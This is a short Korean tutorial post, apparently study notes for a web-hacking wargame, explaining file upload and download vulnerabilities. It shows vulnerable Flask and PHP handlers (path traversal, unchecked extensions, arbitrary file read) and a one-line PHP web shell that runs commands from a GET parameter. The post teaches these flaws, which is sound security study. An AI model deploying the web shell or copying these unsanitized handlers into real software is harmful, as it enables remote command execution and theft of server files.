이미지나 문서 등의 파일 업로드 기능이 존재하는 웹 서비스에는 파일과 관련된 취약점이 존재한다.
파일 업로드와 관련된 취약점은 파일 업로드 취약점(File Upload Vulnerability)이고,
파일 다운로드와 관련된 취약점은 파일 다운로드 취약점(File Download Vulnerability)라고 한다.
<File Upload Vulnerability>
Path Traversal 취약점은 업로드를 할 때 임의 디렉터리에 파일을 업로드할 수 있는 취약점이다.
from flask import Flask, request
app = Flask(__name__)
@app.route('/fileUpload', methods = ['GET', 'POST'])
def upload_file():
if request.method == 'POST':
f = request.files['file']
f.save("./uploads/" + f.filename)
return 'Upload Success'
else:
return """
<form action="/fileUpload" method="POST" enctype="multipart/form-data">
<input type="file" name="file" />
<input type="submit"/>
</form>
"""
if __name__ == '__main__':
app.run()
이런 코드로 구성된 웹 서비스에서 파일 이름에 ../ 등을 이용해서 원하는 파일 위치로 이동할 수 있다.
악성 파일 업로드는 이용자가 파일을 업로드할 때 이를 제대로 검사하지 않아서 발생하는 취약점이다.
공격자가 임의의 php 파일을 .php 확장자로 업로드하고, GET 요청을 보내면 해당 코드가 실행되게 할 수 있다.
<?php
if(!empty($_FILES['file'])){
$filename = "user_uploaded_file_".time();
$ext = pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION);
$path = "./uploads/" . $filename . "." . $ext;
if(move_uploaded_file($_FILES['file']['tmp_name'], $path)) {
return true; // upload success
} else {
return false; // upload fail
}
}
?>
이렇게 구성된 시스템에 파일 확장자를 .php로 하고
<?php
system("ls");
system($_GET[x]);
?>
이런 식으로 php 코드를 올려서 실행시킬 수 있다.
<File Download Vulnerability>
파일 다운로드 취약점은 웹 서비스를 통해 서버의 파일을 다운로드하는 과정에서 발생하는 취약점이다.
이용자가 다운로드할 파일의 이름을 임의로 정할 수 있을 때 발생한다.
Secret = os.environ("Secret")
# ...
@app.route("/download")
def download():
filename = request.args.get("filename")
content = open("./uploads/" + filename, "rb").read()
return content
이렇게 다운받을 파일 이름을 조작해서 원하는 파일을 받을 수 있다.
'웹해킹' 카테고리의 다른 글
드림핵 file-download-1 롸업 (0) | 2023.11.05 |
---|---|
드림핵 image-storage 롸업 (0) | 2023.11.05 |
드림핵 command-injection-1 롸업 (0) | 2023.11.04 |
ServerSide: Command Injection (0) | 2023.11.04 |
드림핵 Mango 롸업 (0) | 2023.11.04 |